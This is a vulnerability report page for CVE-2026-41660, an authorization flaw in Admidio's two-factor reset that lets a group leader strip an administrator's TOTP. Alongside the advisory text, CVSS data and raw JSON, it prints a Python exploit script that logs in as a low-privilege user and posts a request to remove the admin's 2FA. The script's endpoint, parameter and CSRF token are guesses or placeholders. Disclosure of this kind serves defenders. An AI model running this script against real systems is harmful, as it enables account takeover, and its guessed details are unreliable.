Security Vulnerability Report
中文
CVE-2026-41660 CVSS 7.1 HIGH

CVE-2026-41660

Published: 2026-05-07 04:16:30
Last Modified: 2026-05-07 14:51:02

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, a logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit concept for CVE-2026-41660 # Description: Removes 2FA from an admin account using a low-privilege group leader account. def exploit(target_url, attacker_session, admin_user_id): """ attacker_session: requests.Session object of a 'Group Leader' with profile edit rights on the admin. admin_user_id: The ID of the target admin user. """ # 1. Get the CSRF token from the profile edit page or preferences page profile_url = f"{target_url}/adm_program/modules/profile/profile.php" params = {'user_id': admin_user_id} response = attacker_session.get(profile_url, params=params) # Note: In a real scenario, parse the CSRF token from HTML response # csrf_token = parse_csrf(response.text) csrf_token = "extracted_csrf_token_value" # 2. Send request to remove 2FA # The endpoint might be something like /adm_program/modules/preferences/preferences_function.php # based on Admidio structure. remove_2fa_url = f"{target_url}/adm_program/modules/preferences/preferences_function.php" payload = { 'user_id': admin_user_id, 'mode': 'remove_2fa', # Hypothetical parameter for the specific action 'csrf_token': csrf_token } # 3. Execute the attack # Due to the logic error, the server checks if the attacker can edit the profile, # but fails to check if the attacker is allowed to change 2FA settings specifically. response = attacker_session.post(remove_2fa_url, data=payload) if response.status_code == 200 and "success" in response.text: print(f"[+] Successfully removed 2FA for Admin ID: {admin_user_id}") else: print("[-] Exploit failed or already patched.") # Usage example (requires valid session) # s = requests.Session() # s.post("http://target/adm_program/system/login.php", data={'login': 'leader', 'password': 'pass'}) # exploit("http://target/adm_program", s, 1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41660", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:29.740", "lastModified": "2026-05-07T14:51:01.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, a logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rh3w-4ccx-prf9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rh3w-4ccx-prf9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}